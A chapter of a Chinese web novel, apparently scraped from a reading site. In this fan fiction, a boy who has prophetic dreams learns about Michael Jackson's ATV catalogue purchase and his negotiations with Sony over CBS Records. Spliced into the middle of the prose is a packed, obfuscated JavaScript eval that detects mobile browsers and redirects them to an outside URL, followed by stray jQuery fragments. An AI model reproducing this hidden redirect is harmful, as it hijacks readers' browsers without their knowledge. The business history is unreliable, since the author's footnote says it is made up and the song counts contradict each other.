默认冷灰
24号文字
方正启体

14.今晚,祝你好梦

作者:爱咕咕的云读者本书字数:K更新时间:
    在得知前因后果之后,迈克尔实实在在地消沉了好一阵子——任谁得知自己的善意被这样践踏利用,都不会有什么好心情的。


    一开始,埃凡德提出的要求是:不要再请不熟悉的孩子们来梦幻庄园玩了。但这个要求几乎立刻就被迈克尔否决了。


    “这就是我建造梦幻庄园的初衷——为孩子们提供一个能安心、快乐玩耍的乐园。”迈克尔的神情异常认真,“我知道你是为我好,但我相信,不是每一个人都会像钱德勒那家人一样……而且那也不是小钱德勒的错。一个孩子,怎么会想到撒那样的谎来污蔑我呢?”


    在一番争论之后,埃凡德“终于”妥协了。他将要求往后退了一步:必须在房子里安装监控,迈克尔不能和某个孩子单独相处,孩子们的家长最好也能在场。


    埃凡德憋笑憋得很辛苦。


    一位名叫周树人的伟人曾说过:中国人的性情总是喜欢调和、折中的。譬如你说,这屋子太暗,须在这里开一个窗,大家一定是不允许的。但如果你主张拆掉屋顶,他们就会来调和,愿意开窗了。


    嗯,事实证明,外国人也一样。


    不过经此一遭,埃凡德对自己的能力又多了几分思考。


    第一次做预知梦时,他白天反复思量了许多有关迈克尔的事;而昨晚的预知梦关乎梦幻庄园,恰好白天迈克尔又主动向他提起了这座庄园的一切。


    他是否可以做出一个大胆的推测:他梦中所预见的事情,基本和他当下关注的事有所关联?


    这个规律还没有经过验证,但今晚就是一个很好的机会。


    该拿什么来试一试呢?


    “Gee,都已经到这个点了!”


    迈克尔的惊呼声打断了埃凡德的思绪。


    “怎么了?你有事约好了要去做吗?”


    “我得去工作室一趟。”似乎是想到了什么,迈克尔皱了皱眉头,又很快舒展开来,“你要和我一起去吗?”


    “当然。”埃凡德咽下最后一口三明治。


    不过他心里浮起一丝疑惑——迈克尔最近怎么总往工作室跑?《Bad》的录音和剪辑工作已经全部完成,有关发行和后续巡演的安排也应该都敲定了……他到底在忙些什么?


    埃凡德跟着迈克尔穿过恩西诺庄园蜿蜒的小径,一辆黑色轿车已经停在主宅门口。保镖比尔正靠在车门旁,见他们走来,立刻站直了身子。


    “上午好,比尔,抱歉让你久等了。”迈克尔微笑着打了声招呼,示意比尔替他拉开车门,自己带着埃凡德坐进了后座,“去工作室。”


    “没有太久,正好够我喝完一杯咖啡。”比尔先是回答了迈克尔,然后关上车门前伸手轻轻揉了揉埃凡德的脑袋,“跟着一个工作狂,真是件辛苦的事,对吧,小小鬼?后面备了些薄荷糖,要是不舒服就吃一颗。”


    迈克尔一路上都没怎么说话,手指轻轻敲着膝盖,像是在为什么事烦心。


    埃凡德没有打扰他。


    到了工作室门口,迈克尔并没有把埃凡德带进办公室,而是转过身来,微微低头嘱咐道:“埃凡德,我得进去处理一些事情,可能需要很长时间。你在这里等我,比尔会照顾你,好吗?”


    “没问题,工作狂。”


    “比尔?”


    “你应该知道我的答案只有‘Yes’,工作狂。”


    “嘿,你们两个——”


    迈克尔被两人一唱一和逗得笑出声来,用力揉了一把埃凡德的脸,朝比尔微微颔首,然后急匆匆地离开了。


    迈克尔的身影消失在光洁的走廊尽头。埃凡德在候客厅的沙发上坐了一会儿,数了数墙上挂着的金唱片。然后他站起来,挪到了正翻阅杂志的比尔身边。


    “比尔,”他说,“我能问你一件事吗?”


    “什么?”


    “迈克尔最近怎么了?他为什么总来工作室,而且看起来心事重重的?《Bad》不是已经做完了吗?”


    比尔的表情变得有些微妙。他低下头看着眼前的孩子,眼睛在帽檐投下的阴影里显得格外深邃,沉默了几秒钟,似乎在斟酌措辞。


    “这个嘛……”他挠了挠下巴。


    “你就告诉我嘛!”埃凡德轻轻晃着他的手臂,“我知道你肯定会说的,比尔!”


    “好吧,好吧——我没说不能告诉你,小小鬼。”比尔举手投降,把杂志搁到一边,“让我想想该怎么跟你说……”


    和一个九岁的小鬼讲商业上的事……比尔觉得自己一定是疯了。


    “好吧。”比尔终于开口,声音压低了一些,“迈克尔最近在考虑收购一家唱片公司。”


    “……什么?”埃凡德眨了眨眼睛。


    “你听说过哥伦比亚唱片公司吗?”比尔问。


    埃凡德点了点头——他当然听说过。迈克尔所在的史诗唱片就是哥伦比亚唱片公司的子公司,而哥伦比亚唱片公司又隶属于哥伦比亚广播公司,也就是CBS。这是一条非常清晰的产业食物链。


    “CBS想砍掉唱片业务,”比尔说,“他们觉得这块不赚钱。索尼公司听说了这件事,想趁机把哥伦比亚唱片公司买下来。”


    “所以迈克尔也想买?”埃凡德问。


    “他想参与进去。”比尔纠正道,“不光是简单地买下来,而是——怎么说呢——他想从单纯的歌手变成……资本的持有者。或者你就简单理解成,他想当老板。”


    他说完停顿了一下,观察埃凡德的反应。见这孩子没有露出丝毫困惑的表情,才继续往下讲。


    “你知道什么是版权吗?”


    ……


    要理解迈克尔此刻正在做什么,时间得往前倒两年。


    1985年,那本应是迈克尔·杰克逊风光无限的一年。《Thriller》的余热尚未消散,他的名气如日中天。但在一场关于披头士歌曲版权的竞标中,他和保罗·麦卡特尼闹翻了。


    起初,保罗也想买下那个包含两百多首披头士歌曲的ATV版权库,但他不想独自出资,于是找到小野洋子——约翰·列侬的遗孀——想两人联手购入。但小野洋子觉得代价过于昂贵,没有答应。


    随后,保罗在一次和迈克尔的通话中,半开玩笑地劝对方不如去买歌曲版权。他没有想到,迈克尔当时那句玩笑般的回应“那我就要买你的版权了”,竟是真的。


    迈克尔做了一件在旁人看来近乎疯狂的举动。他花了四千七百五十万美元,买下了ATV音乐版权库。这其中就包括《Yesterday》《Let It Be》《Hey Jude》——这些披头士最经典的歌曲版权,从此归迈克尔·杰克逊所有。


    消息传出那天,整个音乐产业都在嘲笑他。一个唱歌跳舞的黑人小子,花将近五千万美元买一堆歌的版权?人们说他愚蠢,说他被经纪人忽悠了,说这笔钱注定血本无归。


    而保罗气疯了。


    他和迈克尔原本是朋友,还合作过《Say Say Say》和《The Girl Is Mine》。但从那以后,两人的关系就再也没有真正修复过。保罗后来在采访中反复提起这件事,语气里始终带着一种难以置信的恼火——他无法理解,那个他曾指点过音乐行业门道的年轻人,怎么能反过来用这些知识“对付”他。


    但对迈克尔而言,这从来不是针对保罗。


    在买下ATV版权库之前,迈克尔曾问过他的律师约翰·布兰卡:“披头士是怎么失去自己歌曲版权的?”


    布兰卡告诉他,因为他们不懂,因为他们签了不合理的合同。因为哪怕他们是全世界最伟大的乐队,在商业上,他们也只是别人的摇钱树。


    在那一刻,迈克尔看到的不是四千首歌,而是一条通往自由的道路。


    他太清楚“给别人赚钱”是什么滋味了。从五岁站上舞台开始,他就成了一台精密运转的印钞机、一株不会枯萎的摇钱树。摩城唱片用他赚钱,CBS唱片公司用他赚钱,经纪人——也就是他的父亲——也用他赚钱。所有人都围着他数钞票,而他只能拿到其中很小的一份。


    《Thriller》卖出了四千万张,创下流行音乐史上无人能破的纪录。CBS从中攫取的利润是天文数字,而他得到的,不过是一纸版税分成合同。


    音乐产业是一座金字塔。歌手站在塔尖上发光,但塔基和塔身——那些唱片公司、发行渠道、版权机构——才是真正掌握财富命脉的所在。迈克尔在塔尖站得太久了,久到终于看清了自己脚下的结构。


    而ATV版权库的收购,是他凿向塔基的第一锤。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552865|204369||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    时间来到1987年,也就是今年。迈克尔听到了风声:哥伦比亚广播公司有意砍掉旗下的唱片业务。


    CBS唱片公司,就是那个和他签了合约、发行过《Off the Wall》《Thriller》和《Bad》的公司,那台把他当作摇钱树运转了十几年的机器——它的母公司不打算再玩音乐了。


    对大多数人来说,这不过是条行业新闻。但迈克尔从中嗅到了机会的气味。


    与此同时,来自日本的索尼公司正在大洋彼岸虎视眈眈。这家电子巨头觊觎CBS唱片公司已久——他们有硬件,有Walkman,有CD技术,但他们缺少内容。而没有内容的硬件,不过是一具空壳。


    对索尼来说,收购哥伦比亚唱片公司意义重大。这家日本电子巨头正在大力推广CD格式,拥有一家掌握海量音乐版权的唱片公司,将为他们提供无可比拟的内容优势。硬件与软件的完美结合——这就是索尼的野心。


    但索尼的计划中有一个巨大的漏洞,那就是迈克尔·杰克逊。


    这些年来,迈克尔专辑卖出的数字,可以把全世界绝大多数歌手碾成粉末,而这些收入有相当大一部分流向了CBS。可以说,迈克尔是CBS最有价值的资产。


    从1979年的《Off the Wall》开始,他的名字就和CBS绑定在一起,他为这家公司创造的收入足以养活整个部门。如果没有迈克尔,哥伦比亚的价值会大打折扣。


    而现在,他的合约即将到期,续约谈判正陷入一种微妙的僵局。迈克尔手中握着一张所有局中人都无法忽视的牌——正是他自己。


    如果一个商人想卖掉一栋房子,而房子里最值钱的租户正在考虑搬走,那么这栋房子的价值就会大打折扣。同样的道理,索尼想要收购CBS唱片公司,但如果这家公司最赚钱的歌手随时可能离开,这笔买卖的账就得重新算一算。


    迈克尔很清楚这一点。所以他拖着,不拒绝也不答应,让所有人都悬着一颗心。与此同时,他正在和索尼进行另一场谈判——不是作为签约歌手的谈判,而是作为平等的合作伙伴,甚至是股东的谈判。


    索尼提出的条件很优厚:现金、资源、市场承诺,每一样都足以让任何一个流行歌手眼花缭乱。


    但迈克尔想要的远不止这些。他也曾认真考虑过索尼给出的条件,但自1985年以来,埃凡德在梦中所见到的那些景象——舞台事故、巡演安排的失控、濒临破产的负债……这些为他敲响了警钟。从那以后,迈克尔对这方面的问题便更加谨慎。


    他想要股权。他想要话语权。


    追求音乐上的成就是一种人生理想,但这个理想需要稳固的经济基础来支撑。他不想在五十岁的时候还要为生计被迫按照公司的安排去巡演,不想让自己的孩子将来也要看别人的脸色过活。


    这就是他这些天频繁出入工作室的原因。他见的不是音乐制作人,而是律师、会计师、商业顾问。每一个深夜,当洛杉矶的灯火渐次熄灭,他都伏在桌前,像当年在录音室里一个音符一个音符地打磨《Billie Jean》一样,一个数字一个数字地打磨着他的商业计划。


    ……


    “所以,”比尔说完,歪了歪头,无奈地看了一眼埃凡德,“他现在每天都来工作室,其实不是在搞音乐,而是在和律师开会、看文件、跟索尼的人谈判。”


    埃凡德沉默了一会儿,若有所思地望着刚才迈克尔离开的方向。


    他想起那个在聚光灯下光芒四射的迈克尔·杰克逊,那个在舞台上旋转、踢腿、让全世界尖叫的超级巨星;他也想起在录音室里、在医院里、在家里的那个迈克尔,那个善良又纯粹的赤子。


    而这些光环被一层层拨开之后,他又看到了迈克尔的另一面。


    “谢谢你告诉我这些,比尔。”


    “你能听懂?”


    埃凡德望向窗外的工作室大楼,嘴角微微弯了一下,没有回答。


    今晚,他要试着去做一个梦。


    一个关于索尼、哥伦比亚和迈克尔的梦。


    ——————


    本章注释:


    1.商业内容纯胡诌,孩子们别太在意,看起来逻辑通顺就是已经是作者龙场悟道的结果了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)